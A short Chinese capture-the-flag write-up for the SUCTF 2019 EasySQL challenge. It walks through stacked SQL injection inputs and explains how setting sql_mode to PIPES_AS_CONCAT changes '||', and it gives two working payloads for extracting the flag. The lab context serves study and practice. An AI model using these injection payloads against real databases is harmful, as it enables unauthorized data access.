[SUCTF 2019]EasySQL 1【sql_mode】

进入靶场环境：http://cc6c0293-a268-489a-8b73-7ad6b73668c5.node3.buuoj.cn/
输入 1 查询试试：

昨天刚做了一个堆叠的，先试试输入

1;show databases;

1;show tables;

发现目标 Flag ! 可是…然后就进行不下去了…菜鸡的我又去网上寻找思路：

select $post['query']||flag from Flag 

这是关键语句！
当 sql_mode 设置了 PIPES_AS_CONCAT 时，|| 就是字符串连接符，相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 （默认没有设置），|| 就是逻辑或，相当于OR函数
所以要想办法让 || 不是逻辑或，修改sql_mode为PIPES_AS_CONCAT，然后再次查询

解法一：

1;set sql_mode=pipes_as_concat;select 1

解法二：

*,1